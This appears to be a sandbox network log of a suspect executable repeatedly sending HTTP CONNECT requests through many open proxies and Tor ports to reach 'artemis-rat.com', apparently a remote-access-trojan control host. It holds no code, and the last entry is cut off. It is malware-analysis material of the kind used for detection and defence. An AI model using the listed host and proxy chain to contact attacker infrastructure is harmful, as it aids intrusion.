Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
960	192.168.2.5	52652	162.159.242.8	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.527308941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.688744068 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
961	192.168.2.5	52669	104.16.241.204	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.540431023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.694704056 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
962	192.168.2.5	52674	185.162.228.154	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.541026115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.695338011 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
963	192.168.2.5	52623	162.214.90.49	58740	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.545202017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.107958078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.806381941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.939476967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.124543905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.311537027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.468369007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.905148983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.514471054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
964	192.168.2.5	52691	104.18.81.76	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.546873093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.701215029 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
965	192.168.2.5	52609	67.43.236.20	25633	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.548007965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
966	192.168.2.5	52551	13.234.24.116	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.553086042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.940310955 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:41 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
967	192.168.2.5	52675	162.240.22.184	48026	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.568866968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
968	192.168.2.5	52595	72.206.181.105	64935	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.573025942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
969	192.168.2.5	52607	174.77.111.198	49547	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.586534023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
970	192.168.2.5	50311	171.244.140.160	56076	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.586539030 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.592586994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.592943907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
971	192.168.2.5	52196	69.61.200.104	36181	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.586622000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
972	192.168.2.5	52672	38.162.30.197	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.589656115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.036452055 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
973	192.168.2.5	52702	23.95.209.142	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.589677095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
974	192.168.2.5	52560	201.243.82.157	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.590959072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.514287949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.939320087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.121642113 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:30:53.299580097 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
975	192.168.2.5	52594	51.158.98.197	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.598263025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.404824018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.355422974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.108408928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.608460903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.217679024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.717684031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:02.791243076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:04.927840948 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi
Mar 11, 2024 03:31:08.069421053 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi
Mar 11, 2024 03:31:14.213310957 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi
Mar 11, 2024 03:31:26.245313883 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a 